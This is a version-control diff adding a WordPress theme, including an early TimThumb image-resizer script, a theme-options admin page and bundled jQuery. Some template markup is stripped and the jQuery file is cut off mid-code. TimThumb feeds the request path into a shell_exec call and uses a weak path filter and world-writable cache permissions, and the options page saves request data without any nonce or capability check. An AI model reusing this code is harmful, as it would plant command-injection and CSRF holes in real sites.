Binary file web/wp-content/themes/bgw/images/shadow.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/shadowtop.gif Binary file web/wp-content/themes/bgw/images/shadowtop.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/sidebar3.gif Binary file web/wp-content/themes/bgw/images/sidebar3.gif has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/tweet.jpg Binary file web/wp-content/themes/bgw/images/tweet.jpg has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/images/twitter.png Binary file web/wp-content/themes/bgw/images/twitter.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/includes/aboutus.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/includes/aboutus.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,3 @@ +

    About us

    +"; ?> + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/includes/banners.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/includes/banners.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,6 @@ + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/includes/cache/3b7897912f1a72ebda451759b0a6b746.png Binary file web/wp-content/themes/bgw/includes/cache/3b7897912f1a72ebda451759b0a6b746.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/includes/cache/9d93214a4f2d0a4f256ffcef79277bed.png Binary file web/wp-content/themes/bgw/includes/cache/9d93214a4f2d0a4f256ffcef79277bed.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/includes/cache/cf49f5d3919aa65dadcbd6b00ec78d2e.png Binary file web/wp-content/themes/bgw/includes/cache/cf49f5d3919aa65dadcbd6b00ec78d2e.png has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/includes/featured.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/includes/featured.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,26 @@ + + + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/includes/follow.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/includes/follow.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,5 @@ +
    + Follow us on Twitter + Subscribe to RSS + Contact us +
    \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/includes/slide.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/includes/slide.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,47 @@ + + +
    +
    +have_posts()) : $my_query->the_post();$do_not_duplicate = $post->ID; +?> + +
    + +
    + ID,'slide', true); ?> + <?php the_title(); ?> +
    + +

    +

    +
    + +

    Read More »

    +
    +
    + + + + + +
    + +
    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/includes/themeoptions.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/includes/themeoptions.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,312 @@ +cat_ID] = $mx_cat->cat_name; +} +$categories_tmp = array_unshift($mx_categories, "Select a category:","Uncategorized" ); +$number_entries = array("Select a Number:","1","2","3","4","5","6","7","8","9","10", "12","14", "16", "18", "20" ); +$options = array ( + + + + + array( "name" => "Featured Panel Settings", + "type" => "heading", + "desc" => "This section customizes the sliding panel area and the number of panels to be displayed.", + ), + + array( "name" => "Featured Panel category", + "desc" => "Select the category that you would like to have displayed on the sliding.", + "id" => $shortname."_slide_category", + "std" => "Uncategorized", + "type" => "select", + "options" => $mx_categories), + + array( "name" => "Number of sliding panels", + "desc" => "Select the number of panels to display .", + "id" => $shortname."_slide_count", + "std" => "1", + "type" => "select", + "options" => $number_entries), + + array( "name" => "Enable/Disable Featured Categories", + "id" => $shortname."_fcats", + "type" => "select", + "std" => "Display", + "options" => array("Display", "Hide")), + + array( "name" => "Choose Which Category To Feature On 1st Block?", + "id" => $shortname."_bluzon_featured_category1", + "type" => "select", + "std" => "Select A Category", + "options" => $mx_categories), + + array( "name" => "Choose How Many Post To Display On 1st Block?", + "id" => $shortname."_bluzon_featured_number1", + "type" => "select", + "std" => "Select A Number", + "options" => $number_entries), + + array( "name" => "Header banner Image", + "desc" => "Enter your 468 x 60 banner image url here.", + "id" => $shortname."_hbanner", + "std" => "Header banner Image", + "type" => "text"), + + array("name" => "Header banner Url", + "desc" => "Enter the header banner url here.", + "id" => $shortname."_hlink", + "std" => "Header banner url", + "type" => "text"), + + array( "name" => "125 x 125 banner Settings", + "type" => "heading", + ), + + array("name" => "Banner-1 Image", + "desc" => "Enter your 125x125 banner image url here.", + "id" => $shortname."_banner1", + "std" => "Banner-1 image", + "type" => "text"), + + array("name" => "Banner-1 Url", + "desc" => "Enter the banner-1 url here.", + "id" => $shortname."_link1", + "std" => "Banner-1 url", + "type" => "text"), + + array("name" => "Banner-2 Image", + "desc" => "Enter your 125x125 banner image url here.", + "id" => $shortname."_banner2", + "std" => "Banner-2 image", + "type" => "text"), + + array("name" => "Banner-2 Url", + "desc" => "Enter the banner-2 url here.", + "id" => $shortname."_link2", + "std" => "Banner-2 url", + "type" => "text"), + + array("name" => "Banner-3 Image", + "desc" => "Enter your 125x125 banner image url here.", + "id" => $shortname."_banner3", + "std" => "Banner-3 image", + "type" => "text"), + + array("name" => "Banner-3 Url", + "desc" => "Enter the banner-3 url here.", + "id" => $shortname."_link3", + "std" => "Banner-3 url", + "type" => "text"), + + array("name" => "Banner-4 Image", + "desc" => "Enter your 125x125 banner image url here.", + "id" => $shortname."_banner4", + "std" => "Banner-4 image", + "type" => "text"), + + array("name" => "Banner-4 Url", + "desc" => "Enter the banner-4 url here.", + "id" => $shortname."_link4", + "std" => "Banner-4 url", + "type" => "text"), + + array("name" => "Twitter url", + "desc" => "Twitter url here.", + "id" => $shortname."_twitt", + "std" => "#", + "type" => "text"), + + array("name" => "Rss url", + "desc" => "Rss url here.", + "id" => $shortname."_rss", + "std" => "#", + "type" => "text"), + + array("name" => "Email", + "desc" => "Email here.", + "id" => $shortname."_email", + "std" => "#", + "type" => "text"), + + array( "name" => "Enable/Disable social bookmark", + "id" => $shortname."_social", + "type" => "select", + "std" => "Display", + "options" => array("Display", "Hide")), + + array( "name" => "Enable/Disable Follow us", + "id" => $shortname."_follow", + "type" => "select", + "std" => "Display", + "options" => array("Display", "Hide")), + + array( "name" => "Enable/Disable top banner 468x165", + "id" => $shortname."_topbanner", + "type" => "select", + "std" => "Display", + "options" => array("Display", "Hide")), + + array( "name" => "Enable/Disable 125x125 banners", + "id" => $shortname."_banners", + "type" => "select", + "std" => "Display", + "options" => array("Display", "Hide")), + + array( "name" => "Exclude pages", + "desc" => "You can exclude some of the links in the pages menu (comma separated!).", + "id" => $shortname."_pages", + "std" => "", + "type" => "text"), + + array( "name" => "Exclude categories", + "desc" => "You can exclude some of the links in the categories menu (comma separated!).", + "id" => $shortname."_categories", + "std" => "", + "type" => "text"), + + array( "name" => "Enable/Disable About Us", + "id" => $shortname."_aboutcheck", + "type" => "select", + "std" => "Display", + "options" => array("Display", "Hide")), + + array( "name" => "About Us Text", + "id" => $shortname."_aboutus", + "std" => "", + "type" => "textarea"), + + array( "name" => "About Us Image", + "id" => $shortname."_about_image", + "std" => "", + "type" => "text"), + +); + +function mytheme_add_admin() { + + global $themename, $shortname, $options; + + if ( $_GET['page'] == basename(__FILE__) ) { + + if ( 'save' == $_REQUEST['action'] ) { + + foreach ($options as $value) { + update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } + + foreach ($options as $value) { + if( isset( $_REQUEST[ $value['id'] ] ) ) { update_option( $value['id'], $_REQUEST[ $value['id'] ] ); } else { delete_option( $value['id'] ); } } + + header("Location: themes.php?page=themeoptions.php&saved=true"); + die; + + } else if( 'reset' == $_REQUEST['action'] ) { + + foreach ($options as $value) { + delete_option( $value['id'] ); + update_option( $value['id'], $value['std'] );} + + header("Location: themes.php?page=themeoptions.php&reset=true"); + die; + + } + } + + add_theme_page($themename." Options", "$themename Options", 'edit_themes', basename(__FILE__), 'mytheme_admin'); + +} + +function mytheme_admin() { + + global $themename, $shortname, $options; + + if ( $_REQUEST['saved'] ) echo '

    '.$themename.' settings saved.

    '; + if ( $_REQUEST['reset'] ) echo '

    '.$themename.' settings reset.

    '; + + +?> +
    +

    theme options

    + +
    + +

    " />
     
     
     
     
     
     
    + /> +
     
     
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    : + " size="40" /> + +

    : + + + +

    : + + +


    +

    + + +

    + +
    +

    + + +

    +
    +

    Preview (updated when options are saved)

    + +

    For support related issues visit the dannci.com

    + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/includes/timthumb.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/includes/timthumb.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,605 @@ + +*/ + +/* +$sizeLimits = array( + "100x100", + "150x150", +); +*/ + +define("CACHE_SIZE", 200); // number of files to store before clearing cache +define("CACHE_CLEAR", 5); // maximum number of files to delete on each cache clear +define("VERSION", "1.08"); // version number (to force a cache refresh + +$imageFilters = array( + "1" => array(IMG_FILTER_NEGATE, 0), + "2" => array(IMG_FILTER_GRAYSCALE, 0), + "3" => array(IMG_FILTER_BRIGHTNESS, 1), + "4" => array(IMG_FILTER_CONTRAST, 1), + "5" => array(IMG_FILTER_COLORIZE, 4), + "6" => array(IMG_FILTER_EDGEDETECT, 0), + "7" => array(IMG_FILTER_EMBOSS, 0), + "8" => array(IMG_FILTER_GAUSSIAN_BLUR, 0), + "9" => array(IMG_FILTER_SELECTIVE_BLUR, 0), + "10" => array(IMG_FILTER_MEAN_REMOVAL, 0), + "11" => array(IMG_FILTER_SMOOTH, 0), +); + +// sort out image source +$src = get_request("src", ""); +if($src == "" || strlen($src) <= 3) { + displayError("no image specified"); +} + +// clean params before use +$src = cleanSource($src); +// last modified time (for caching) +$lastModified = filemtime($src); + +// get properties +$new_width = preg_replace("/[^0-9]+/", "", get_request("w", 0)); +$new_height = preg_replace("/[^0-9]+/", "", get_request("h", 0)); +$zoom_crop = preg_replace("/[^0-9]+/", "", get_request("zc", 1)); +$quality = preg_replace("/[^0-9]+/", "", get_request("q", 80)); +$filters = get_request("f", ""); + +if ($new_width == 0 && $new_height == 0) { + $new_width = 100; + $new_height = 100; +} + +// set path to cache directory (default is ./cache) +// this can be changed to a different location +$cache_dir = './cache'; + +// get mime type of src +$mime_type = mime_type($src); + +// check to see if this image is in the cache already +check_cache( $cache_dir, $mime_type ); + +// if not in cache then clear some space and generate a new file +cleanCache(); + +ini_set('memory_limit', "30M"); + +// make sure that the src is gif/jpg/png +if(!valid_src_mime_type($mime_type)) { + displayError("Invalid src mime type: " .$mime_type); +} + +// check to see if GD function exist +if(!function_exists('imagecreatetruecolor')) { + displayError("GD Library Error: imagecreatetruecolor does not exist"); +} + +if(strlen($src) && file_exists($src)) { + + // open the existing image + $image = open_image($mime_type, $src); + if($image === false) { + displayError('Unable to open image : ' . $src); + } + + // Get original width and height + $width = imagesx($image); + $height = imagesy($image); + + // don't allow new width or height to be greater than the original + if( $new_width > $width ) { + $new_width = $width; + } + if( $new_height > $height ) { + $new_height = $height; + } + + // generate new w/h if not provided + if( $new_width && !$new_height ) { + + $new_height = $height * ( $new_width / $width ); + + } elseif($new_height && !$new_width) { + + $new_width = $width * ( $new_height / $height ); + + } elseif(!$new_width && !$new_height) { + + $new_width = $width; + $new_height = $height; + + } + + // create a new true color image + $canvas = imagecreatetruecolor( $new_width, $new_height ); + imagealphablending($canvas, false); + // Create a new transparent color for image + $color = imagecolorallocatealpha($canvas, 0, 0, 0, 127); + // Completely fill the background of the new image with allocated color. + imagefill($canvas, 0, 0, $color); + // Restore transparency blending + imagesavealpha($canvas, true); + + if( $zoom_crop ) { + + $src_x = $src_y = 0; + $src_w = $width; + $src_h = $height; + + $cmp_x = $width / $new_width; + $cmp_y = $height / $new_height; + + // calculate x or y coordinate and width or height of source + + if ( $cmp_x > $cmp_y ) { + + $src_w = round( ( $width / $cmp_x * $cmp_y ) ); + $src_x = round( ( $width - ( $width / $cmp_x * $cmp_y ) ) / 2 ); + + } elseif ( $cmp_y > $cmp_x ) { + + $src_h = round( ( $height / $cmp_y * $cmp_x ) ); + $src_y = round( ( $height - ( $height / $cmp_y * $cmp_x ) ) / 2 ); + + } + + imagecopyresampled( $canvas, $image, 0, 0, $src_x, $src_y, $new_width, $new_height, $src_w, $src_h ); + + } else { + + // copy and resize part of an image with resampling + imagecopyresampled( $canvas, $image, 0, 0, 0, 0, $new_width, $new_height, $width, $height ); + + } + + if ($filters != "") { + // apply filters to image + $filterList = explode("|", $filters); + foreach($filterList as $fl) { + $filterSettings = explode(",", $fl); + if(isset($imageFilters[$filterSettings[0]])) { + + for($i = 0; $i < 4; $i ++) { + if(!isset($filterSettings[$i])) { + $filterSettings[$i] = null; + } + } + + switch($imageFilters[$filterSettings[0]][1]) { + + case 1: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1]); + break; + + case 2: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1], $filterSettings[2]); + break; + + case 3: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0], $filterSettings[1], $filterSettings[2], $filterSettings[3]); + break; + + default: + + imagefilter($canvas, $imageFilters[$filterSettings[0]][0]); + break; + + } + } + } + } + + // output image to browser based on mime type + show_image($mime_type, $canvas, $cache_dir); + + // remove image from memory + imagedestroy($canvas); + +} else { + + if(strlen($src)) { + displayError("image " . $src . " not found"); + } else { + displayError("no source specified"); + } + +} + +/** + * + */ +function show_image($mime_type, $image_resized, $cache_dir) { + + global $quality; + + // check to see if we can write to the cache directory + $is_writable = 0; + $cache_file_name = $cache_dir . '/' . get_cache_file(); + + if(touch($cache_file_name)) { + + // give 666 permissions so that the developer + // can overwrite web server user + chmod($cache_file_name, 0666); + $is_writable = 1; + + } else { + + $cache_file_name = NULL; + header('Content-type: ' . $mime_type); + + } + + $quality = floor($quality * 0.09); + + imagepng($image_resized, $cache_file_name, $quality); + + if($is_writable) { + show_cache_file($cache_dir, $mime_type); + } + + imagedestroy($image_resized); + + displayError("error showing image"); + +} + +/** + * + */ +function get_request( $property, $default = 0 ) { + + if( isset($_REQUEST[$property]) ) { + + return $_REQUEST[$property]; + + } else { + + return $default; + + } + +} + +/** + * + */ +function open_image($mime_type, $src) { + + if(stristr($mime_type, 'gif')) { + + $image = imagecreatefromgif($src); + + } elseif(stristr($mime_type, 'jpeg')) { + + @ini_set('gd.jpeg_ignore_warning', 1); + $image = imagecreatefromjpeg($src); + + } elseif( stristr($mime_type, 'png')) { + + $image = imagecreatefrompng($src); + + } + + return $image; + +} + +/** + * clean out old files from the cache + * you can change the number of files to store and to delete per loop in the defines at the top of the code + */ +function cleanCache() { + + $files = glob("cache/*", GLOB_BRACE); + + $yesterday = time() - (24 * 60 * 60); + + if (count($files) > 0) { + + usort($files, "filemtime_compare"); + $i = 0; + + if (count($files) > CACHE_SIZE) { + + foreach ($files as $file) { + + $i ++; + + if ($i >= CACHE_CLEAR) { + return; + } + + if (filemtime($file) > $yesterday) { + return; + } + + unlink($file); + + } + + } + + } + +} + +/** + * compare the file time of two files + */ +function filemtime_compare($a, $b) { + + return filemtime($a) - filemtime($b); + +} + +/** + * determine the file mime type + */ +function mime_type($file) { + + if (stristr(PHP_OS, 'WIN')) { + $os = 'WIN'; + } else { + $os = PHP_OS; + } + + $mime_type = ''; + + if (function_exists('mime_content_type')) { + $mime_type = mime_content_type($file); + } + + // use PECL fileinfo to determine mime type + if (!valid_src_mime_type($mime_type)) { + if (function_exists('finfo_open')) { + $finfo = finfo_open(FILEINFO_MIME); + $mime_type = finfo_file($finfo, $file); + finfo_close($finfo); + } + } + + // try to determine mime type by using unix file command + // this should not be executed on windows + if (!valid_src_mime_type($mime_type) && $os != "WIN") { + if (preg_match("/FREEBSD|LINUX/", $os)) { + $mime_type = trim(@shell_exec('file -bi "' . $file . '"')); + } + } + + // use file's extension to determine mime type + if (!valid_src_mime_type($mime_type)) { + + // set defaults + $mime_type = 'image/png'; + // file details + $fileDetails = pathinfo($file); + $ext = strtolower($fileDetails["extension"]); + // mime types + $types = array( + 'jpg' => 'image/jpeg', + 'jpeg' => 'image/jpeg', + 'png' => 'image/png', + 'gif' => 'image/gif' + ); + + if (strlen($ext) && strlen($types[$ext])) { + $mime_type = $types[$ext]; + } + + } + + return $mime_type; + +} + +/** + * + */ +function valid_src_mime_type($mime_type) { + + if (preg_match("/jpg|jpeg|gif|png/i", $mime_type)) { + return true; + } + + return false; + +} + +/** + * + */ +function check_cache($cache_dir, $mime_type) { + + // make sure cache dir exists + if (!file_exists($cache_dir)) { + // give 777 permissions so that developer can overwrite + // files created by web server user + mkdir($cache_dir); + chmod($cache_dir, 0777); + } + + show_cache_file($cache_dir, $mime_type); + +} + +/** + * + */ +function show_cache_file($cache_dir) { + + $cache_file = $cache_dir . '/' . get_cache_file(); + + if (file_exists($cache_file)) { + + $gmdate_mod = gmdate("D, d M Y H:i:s", filemtime($cache_file)); + + if(! strstr($gmdate_mod, "GMT")) { + $gmdate_mod .= " GMT"; + } + + if (isset($_SERVER["HTTP_IF_MODIFIED_SINCE"])) { + + // check for updates + $if_modified_since = preg_replace("/;.*$/", "", $_SERVER["HTTP_IF_MODIFIED_SINCE"]); + + if ($if_modified_since == $gmdate_mod) { + header("HTTP/1.1 304 Not Modified"); + exit; + } + + } + + $fileSize = filesize($cache_file); + + // send headers then display image + header("Content-Type: image/png"); + header("Accept-Ranges: bytes"); + header("Last-Modified: " . $gmdate_mod); + header("Content-Length: " . $fileSize); + header("Cache-Control: max-age=9999, must-revalidate"); + header("Expires: " . $gmdate_mod); + + readfile($cache_file); + + exit; + + } + +} + +/** + * + */ +function get_cache_file() { + + global $lastModified; + static $cache_file; + + if(!$cache_file) { + $cachename = $_SERVER['QUERY_STRING'] . VERSION . $lastModified; + $cache_file = md5($cachename) . '.png'; + } + + return $cache_file; + +} + +/** + * check to if the url is valid or not + */ +function valid_extension ($ext) { + + if (preg_match("/jpg|jpeg|png|gif/i", $ext)) { + return TRUE; + } else { + return FALSE; + } + +} + +/** + * tidy up the image source url + */ +function cleanSource($src) { + + // remove slash from start of string + if(strpos($src, "/") == 0) { + $src = substr($src, -(strlen($src) - 1)); + } + + // remove http/ https/ ftp + $src = preg_replace("/^((ht|f)tp(s|):\/\/)/i", "", $src); + // remove domain name from the source url + $host = $_SERVER["HTTP_HOST"]; + $src = str_replace($host, "", $src); + $host = str_replace("www.", "", $host); + $src = str_replace($host, "", $src); + + // don't allow users the ability to use '../' + // in order to gain access to files below document root + + // src should be specified relative to document root like: + // src=images/img.jpg or src=/images/img.jpg + // not like: + // src=../images/img.jpg + $src = preg_replace("/\.\.+\//", "", $src); + + //print_r($_SERVER); + + // get path to image on file system + $src = get_document_root($src) . '/' . $src; + + return $src; + +} + +/** + * + */ +function get_document_root ($src) { + + // check for unix servers + if(@file_exists($_SERVER['DOCUMENT_ROOT'] . '/' . $src)) { + return $_SERVER['DOCUMENT_ROOT']; + } + + // the relative paths below are useful if timthumb is moved outside of document root + // specifically if installed in wordpress themes like mimbo pro: + // /wp-content/themes/mimbopro/scripts/timthumb.php + $paths = array( + ".", + "..", + "../..", + "../../..", + "../../../..", + "../../../../.." + ); + + foreach($paths as $path) { + if(@file_exists($path . '/' . $src)) { + return $path; + } + } + + // special check for microsoft servers + if(!isset($_SERVER['DOCUMENT_ROOT'])) { + $path = str_replace("/", "\\", $_SERVER['ORIG_PATH_INFO']); + $path = str_replace($path, "", $_SERVER['SCRIPT_FILENAME']); + + if( @file_exists( $path . '/' . $src ) ) { + return $path; + } + } + + displayError('file not found ' . $src); + +} + +/** + * generic error message + */ +function displayError($errorString = '') { + + header('HTTP/1.1 400 Bad Request'); + die($errorString); + +} +?> \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/includes/topbanner.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/includes/topbanner.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +advertisement \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,47 @@ + +
    +
    +
    + + + + + +
    id="post-"> +
    +
    +    Posted by +
    +

    + +
    + +
    + + +
    +
    + + + + + + + + +

    Not Found

    +

    Sorry, but you are looking for something that isn't here.

    + + + +
    +
    + + + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/bgw/js/hover.js --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/bgw/js/hover.js Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,12 @@ +sfHover = function() { + var sfEls = document.getElementById("sidebar").getElementsByTagName("LI"); + for (var i=0; i)[^>]*$|^#(\w+)$/,isSimple=/^.[^:#\[\.]*$/,undefined;jQuery.fn=jQuery.prototype={init:function(selector,context){selector=selector||document;if(selector.nodeType){this[0]=selector;this.length=1;return this;}if(typeof selector=="string"){var match=quickExpr.exec(selector);if(match&&(match[1]||!context)){if(match[1])selector=jQuery.clean([match[1]],context);else{var elem=document.getElementById(match[3]);if(elem){if(elem.id!=match[3])return jQuery().find(selector);return jQuery(elem);}selector=[];}}else +return jQuery(context).find(selector);}else if(jQuery.isFunction(selector))return jQuery(document)[jQuery.fn.ready?"ready":"load"](selector);return this.setArray(jQuery.makeArray(selector));},jquery:"1.2.6",size:function(){return this.length;},length:0,get:function(num){return num==undefined?jQuery.makeArray(this):this[num];},pushStack:function(elems){var ret=jQuery(elems);ret.prevObject=this;return ret;},setArray:function(elems){this.length=0;Array.prototype.push.apply(this,elems);return this;},each:function(callback,args){return jQuery.each(this,callback,args);},index:function(elem){var ret=-1;return jQuery.inArray(elem&&elem.jquery?elem[0]:elem,this);},attr:function(name,value,type){var options=name;if(name.constructor==String)if(value===undefined)return this[0]&&jQuery[type||"attr"](this[0],name);else{options={};options[name]=value;}return this.each(function(i){for(name in options)jQuery.attr(type?this.style:this,name,jQuery.prop(this,options[name],type,i,name));});},css:function(key,value){if((key=='width'||key=='height')&&parseFloat(value)<0)value=undefined;return this.attr(key,value,"curCSS");},text:function(text){if(typeof text!="object"&&text!=null)return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(text));var ret="";jQuery.each(text||this,function(){jQuery.each(this.childNodes,function(){if(this.nodeType!=8)ret+=this.nodeType!=1?this.nodeValue:jQuery.fn.text([this]);});});return ret;},wrapAll:function(html){if(this[0])jQuery(html,this[0].ownerDocument).clone().insertBefore(this[0]).map(function(){var elem=this;while(elem.firstChild)elem=elem.firstChild;return elem;}).append(this);return this;},wrapInner:function(html){return this.each(function(){jQuery(this).contents().wrapAll(html);});},wrap:function(html){return this.each(function(){jQuery(this).wrapAll(html);});},append:function(){return this.domManip(arguments,true,false,function(elem){if(this.nodeType==1)this.appendChild(elem);});},prepend:function(){return this.domManip(arguments,true,true,function(elem){if(this.nodeType==1)this.insertBefore(elem,this.firstChild);});},before:function(){return this.domManip(arguments,false,false,function(elem){this.parentNode.insertBefore(elem,this);});},after:function(){return this.domManip(arguments,false,true,function(elem){this.parentNode.insertBefore(elem,this.nextSibling);});},end:function(){return this.prevObject||jQuery([]);},find:function(selector){var elems=jQuery.map(this,function(elem){return jQuery.find(selector,elem);});return this.pushStack(/[^+>] [^+>]/.test(selector)||selector.indexOf("..")>-1?jQuery.unique(elems):elems);},clone:function(events){var ret=this.map(function(){if(jQuery.browser.msie&&!jQuery.isXMLDoc(this)){var clone=this.cloneNode(true),container=document.createElement("div");container.appendChild(clone);return jQuery.clean([container.innerHTML])[0];}else +return this.cloneNode(true);});var clone=ret.find("*").andSelf().each(function(){if(this[expando]!=undefined)this[expando]=null;});if(events===true)this.find("*").andSelf().each(function(i){if(this.nodeType==3)return;var events=jQuery.data(this,"events");for(var type in events)for(var handler in events[type])jQuery.event.add(clone[i],type,events[type][handler],events[type][handler].data);});return ret;},filter:function(selector){return this.pushStack(jQuery.isFunction(selector)&&jQuery.grep(this,function(elem,i){return selector.call(elem,i);})||jQuery.multiFilter(selector,this));},not:function(selector){if(selector.constructor==String)if(isSimple.test(selector))return this.pushStack(jQuery.multiFilter(selector,this,true));else +selector=jQuery.multiFilter(selector,this);var isArrayLike=selector.length&&selector[selector.length-1]!==undefined&&!selector.nodeType;return this.filter(function(){return isArrayLike?jQuery.inArray(this,selector)<0:this!=selector;});},add:function(selector){return this.pushStack(jQuery.unique(jQuery.merge(this.get(),typeof selector=='string'?jQuery(selector):jQuery.makeArray(selector))));},is:function(selector){return!!selector&&jQuery.multiFilter(selector,this).length>0;},hasClass:function(selector){return this.is("."+selector);},val:function(value){if(value==undefined){if(this.length){var elem=this[0];if(jQuery.nodeName(elem,"select")){var index=elem.selectedIndex,values=[],options=elem.options,one=elem.type=="select-one";if(index<0)return null;for(var i=one?index:0,max=one?index+1:options.length;i=0||jQuery.inArray(this.name,value)>=0);else if(jQuery.nodeName(this,"select")){var values=jQuery.makeArray(value);jQuery("option",this).each(function(){this.selected=(jQuery.inArray(this.value,values)>=0||jQuery.inArray(this.text,values)>=0);});if(!values.length)this.selectedIndex=-1;}else +this.value=value;});},html:function(value){return value==undefined?(this[0]?this[0].innerHTML:null):this.empty().append(value);},replaceWith:function(value){return this.after(value).remove();},eq:function(i){return this.slice(i,i+1);},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments));},map:function(callback){return this.pushStack(jQuery.map(this,function(elem,i){return callback.call(elem,i,elem);}));},andSelf:function(){return this.add(this.prevObject);},data:function(key,value){var parts=key.split(".");parts[1]=parts[1]?"."+parts[1]:"";if(value===undefined){var data=this.triggerHandler("getData"+parts[1]+"!",[parts[0]]);if(data===undefined&&this.length)data=jQuery.data(this[0],key);return data===undefined&&parts[1]?this.data(parts[0]):data;}else +return this.trigger("setData"+parts[1]+"!",[parts[0],value]).each(function(){jQuery.data(this,key,value);});},removeData:function(key){return this.each(function(){jQuery.removeData(this,key);});},domManip:function(args,table,reverse,callback){var clone=this.length>1,elems;return this.each(function(){if(!elems){elems=jQuery.clean(args,this.ownerDocument);if(reverse)elems.reverse();}var obj=this;if(table&&jQuery.nodeName(this,"table")&&jQuery.nodeName(elems[0],"tr"))obj=this.getElementsByTagName("tbody")[0]||this.appendChild(this.ownerDocument.createElement("tbody"));var scripts=jQuery([]);jQuery.each(elems,function(){var elem=clone?jQuery(this).clone(true)[0]:this;if(jQuery.nodeName(elem,"script"))scripts=scripts.add(elem);else{if(elem.nodeType==1)scripts=scripts.add(jQuery("script",elem).remove());callback.call(obj,elem);}});scripts.each(evalScript);});}};jQuery.fn.init.prototype=jQuery.fn;function evalScript(i,elem){if(elem.src)jQuery.ajax({url:elem.src,async:false,dataType:"script"});else +jQuery.globalEval(elem.text||elem.textContent||elem.innerHTML||"");if(elem.parentNode)elem.parentNode.removeChild(elem);}function now(){return+new Date;}jQuery.extend=jQuery.fn.extend=function(){var target=arguments[0]||{},i=1,length=arguments.length,deep=false,options;if(target.constructor==Boolean){deep=target;target=arguments[1]||{};i=2;}if(typeof target!="object"&&typeof target!="function")target={};if(length==i){target=this;--i;}for(;i-1;}},swap:function(elem,options,callback){var old={};for(var name in options){old[name]=elem.style[name];elem.style[name]=options[name];}callback.call(elem);for(var name in options)elem.style[name]=old[name];},css:function(elem,name,force){if(name=="width"||name=="height"){var val,props={position:"absolute",visibility:"hidden",display:"block"},which=name=="width"?["Left","Right"]:["Top","Bottom"];function getWH(){val=name=="width"?elem.offsetWidth:elem.offsetHeight;var padding=0,border=0;jQuery.each(which,function(){padding+=parseFloat(jQuery.curCSS(elem,"padding"+this,true))||0;border+=parseFloat(jQuery.curCSS(elem,"border"+this+"Width",true))||0;});val-=Math.round(padding+border);}if(jQuery(elem).is(":visible"))getWH();else +jQuery.swap(elem,props,getWH);return Math.max(0,val);}return jQuery.curCSS(elem,name,force);},curCSS:function(elem,name,force){var ret,style=elem.style;function color(elem){if(!jQuery.browser.safari)return false;var ret=defaultView.getComputedStyle(elem,null);return!ret||ret.getPropertyValue("color")=="";}if(name=="opacity"&&jQuery.browser.msie){ret=jQuery.attr(style,"opacity");return ret==""?"1":ret;}if(jQuery.browser.opera&&name=="display"){var save=style.outline;style.outline="0 solid black";style.outline=save;}if(name.match(/float/i))name=styleFloat;if(!force&&style&&style[name])ret=style[name];else if(defaultView.getComputedStyle){if(name.match(/float/i))name="float";name=name.replace(/([A-Z])/g,"-$1").toLowerCase();var computedStyle=defaultView.getComputedStyle(elem,null);if(computedStyle&&!color(elem))ret=computedStyle.getPropertyValue(name);else{var swap=[],stack=[],a=elem,i=0;for(;a&&color(a);a=a.parentNode)stack.unshift(a);for(;i]*?)\/>/g,function(all,front,tag){return tag.match(/^(abbr|br|col|img|input|link|meta|param|hr|area|embed)$/i)?all:front+">";});var 